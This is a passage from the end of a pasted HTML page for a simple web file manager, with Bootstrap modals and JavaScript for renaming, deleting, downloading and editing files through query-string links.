  664.         </div>
  665.       </div>
  666.     </div>
  667.    
  668.     <div class="modal fade" id="deleteModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
  669.       <div class="modal-dialog modal-dialog-centered">
  670.         <div class="modal-content">
  671.           <div class="modal-header">
  672.             <h5 class="modal-title" id="exampleModalToggleLabel2">Delete</h5>
  673.             <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  674.           </div>
  675.           <div class="modal-body">
  676.             Are you sure want to delete this?
  677.           </div>
  678.           <div class="modal-footer">
  679.             <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
  680.             <a href="" class="btn btn-danger" id="delete-confirm">Delete</a>
  681.           </div>
  682.          
  683.         </div>
  684.       </div>
  685.     </div>
  686.    
  687.     <div class="modal fade" id="downloadModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
  688.       <div class="modal-dialog modal-dialog-centered">
  689.         <div class="modal-content">
  690.           <div class="modal-header">
  691.             <h5 class="modal-title" id="exampleModalToggleLabel2">Download</h5>
  692.             <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  693.           </div>
  694.           <div class="modal-body">
  695.             Are you sure want to download this?
  696.           </div>
  697.           <div class="modal-footer">
  698.             <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
  699.             <a href="" class="btn btn-danger" id="download-confirm">Download</a>
  700.           </div>
  701.          
  702.         </div>
  703.       </div>
  704.     </div>
  705.    
  706.     <div class="modal fade" id="viewModal" aria-hidden="true" aria-labelledby="deleteModalToggleLabel2" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1">
  707.       <div class="modal-dialog modal-dialog-centered">
  708.         <div class="modal-content">
  709.           <div class="modal-header">
  710.             <h5 class="modal-title" id="exampleModalToggleLabel2">View</h5>
  711.             <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
  712.           </div>
  713.           <form action="" method="post">
  714.               <div class="modal-body">
  715.                 <div class="mb-3">
  716.                 <label for="content" class="col-form-label">Content:</label>
  717.                 <textarea class="form-control" id="content" rows="15" name="content"></textarea>
  718.               </div>
  719.               </div>
  720.               <div class="modal-footer">
  721.                 <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
  722.                 <button type="submit" class="btn btn-primary">Save</button>
  723.               </div>
  724.           </form>
  725.         </div>
  726.       </div>
  727.     </div>
  728.    
  729.     <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script>
  730.     <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
  731.     <script>
  732.         var renameModal = document.getElementById('renameModal')
  733.         var deleteModal = document.getElementById('deleteModal')
  734.         var viewModal = document.getElementById('viewModal')
  735.         var downloadModal = document.getElementById('downloadModal')
  736.        
  737.         renameModal.addEventListener('show.bs.modal', function (event) {
  738.             var button = event.relatedTarget
  739.             var name = button.getAttribute('data-bs-name')
  740.             var modalTitle = renameModal.querySelector('.modal-title')
  741.             var modalBodyInput = renameModal.querySelector('.modal-body input')
  742.             var hiddenInput = document.createElement('input')
  743.             hiddenInput.type = "hidden";
  744.             hiddenInput.value = name;
  745.             hiddenInput.name = "oldname";
  746.             document.getElementById("rename-form").appendChild(hiddenInput);
  747.            
  748.             modalBodyInput.value = name
  749.         })
  750.        
  751.         deleteModal.addEventListener('show.bs.modal', function (event) {
  752.             var button = event.relatedTarget
  753.             var file = button.getAttribute('data-bs-file')
  754.             var deleteConfirm = document.getElementById('delete-confirm')
  755.             deleteConfirm.href = '?dir=' + file + '&do=delete'
  756.         })
  757.        
  758.         downloadModal.addEventListener('show.bs.modal', function (event) {
  759.             var button = event.relatedTarget
  760.             var file = button.getAttribute('data-bs-file')
  761.             var downloadConfirm = document.getElementById('download-confirm')
  762.             downloadConfirm.href = '?dir=' + file + '&do=download'
  763.         })
  764.        
  765.         viewModal.addEventListener('show.bs.modal', function (event) {
  766.             var button = event.relatedTarget
  767.             var content = button.getAttribute('data-bs-content')
  768.             var name = button.getAttribute('data-bs-name')
  769.             var modalTitle = viewModal.querySelector('.modal-title')
  770.             var modalContent = viewModal.querySelector('.modal-body textarea')
  771.             var hiddenInput = document.createElement('input')
  772.             hiddenInput.type = "hidden";
  773.             hiddenInput.value = name;
  774.             hiddenInput.name = "filename";
  775.             viewModal.querySelector("form").appendChild(hiddenInput);
  776.  
  777.             modalTitle.textContent = 'Edit ' + name
  778.             modalContent.value = content
  779.         })
  780.     </script>
  781. </body>
  782. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement